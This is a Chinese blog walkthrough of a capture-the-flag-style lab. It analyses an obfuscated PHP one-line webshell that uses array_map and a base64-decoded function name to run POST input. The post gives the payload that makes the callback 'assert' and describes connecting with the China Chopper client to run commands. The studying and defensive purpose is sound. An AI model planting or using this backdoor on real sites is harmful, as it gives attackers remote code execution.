欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

WebShell代码分析溯源(七)

程序员文章站 2022-06-24 08:23:21
WebShell代码分析溯源(七) 一、一句话变形马样本 二、代码分析 1、调整代码格式 2、分析代码 分析代码 ......

webshell代码分析溯源(七)

一、一句话变形马样本

<?php

$e = $_request['e'];$arr = array($_post['post'],);array_map(base64_decode($e), $arr);?>

二、代码分析

1、调整代码格式

  WebShell代码分析溯源(七)

2、分析代码

分析代码,首先使用request方法接收url中e参数传递的值,然后创建arr数组并把$_post['post']赋值给arr数组,然后使用array回调函数将自定义函数x(base64_decode($e)解密出来的值x,这里假设为x),然后x函数作用于arr数组中的每个值上。

注:array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。

回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。

参考:https://www.w3school.com.cn/php/func_array_map.asp

3、此时可以构造payload:http://www.test.com/test.php?e=yxnzzxj0,这时再次分析代码,array_map(base64_decode($e), $arr),就变成了array_map(assert, $arr),assert为自定义函数,assert函数作用于arrs数组中的每一个值上,此时构造了一句话木马assert($_post['post'])

三、漏洞环境搭建

1、这里使用在线学习平台墨者学院中的实验环境(webshell代码分析溯源(第6题)),地址: https://www.mozhe.cn/bug/detail/b1vaqzhxuzztn0vymvqvthdzuwz1ut09bw96agumozhe

2、代码环境,下载代码

  WebShell代码分析溯源(七)

3、分析(上面已经分析过了)

4、使用菜刀连接

  WebShell代码分析溯源(七)

5、执行一些命令

  WebShell代码分析溯源(七)

四、后记

学习代码审计工具---seay源代码审计系统

使用seay源代码审计系统进行代码审计

  WebShell代码分析溯源(七)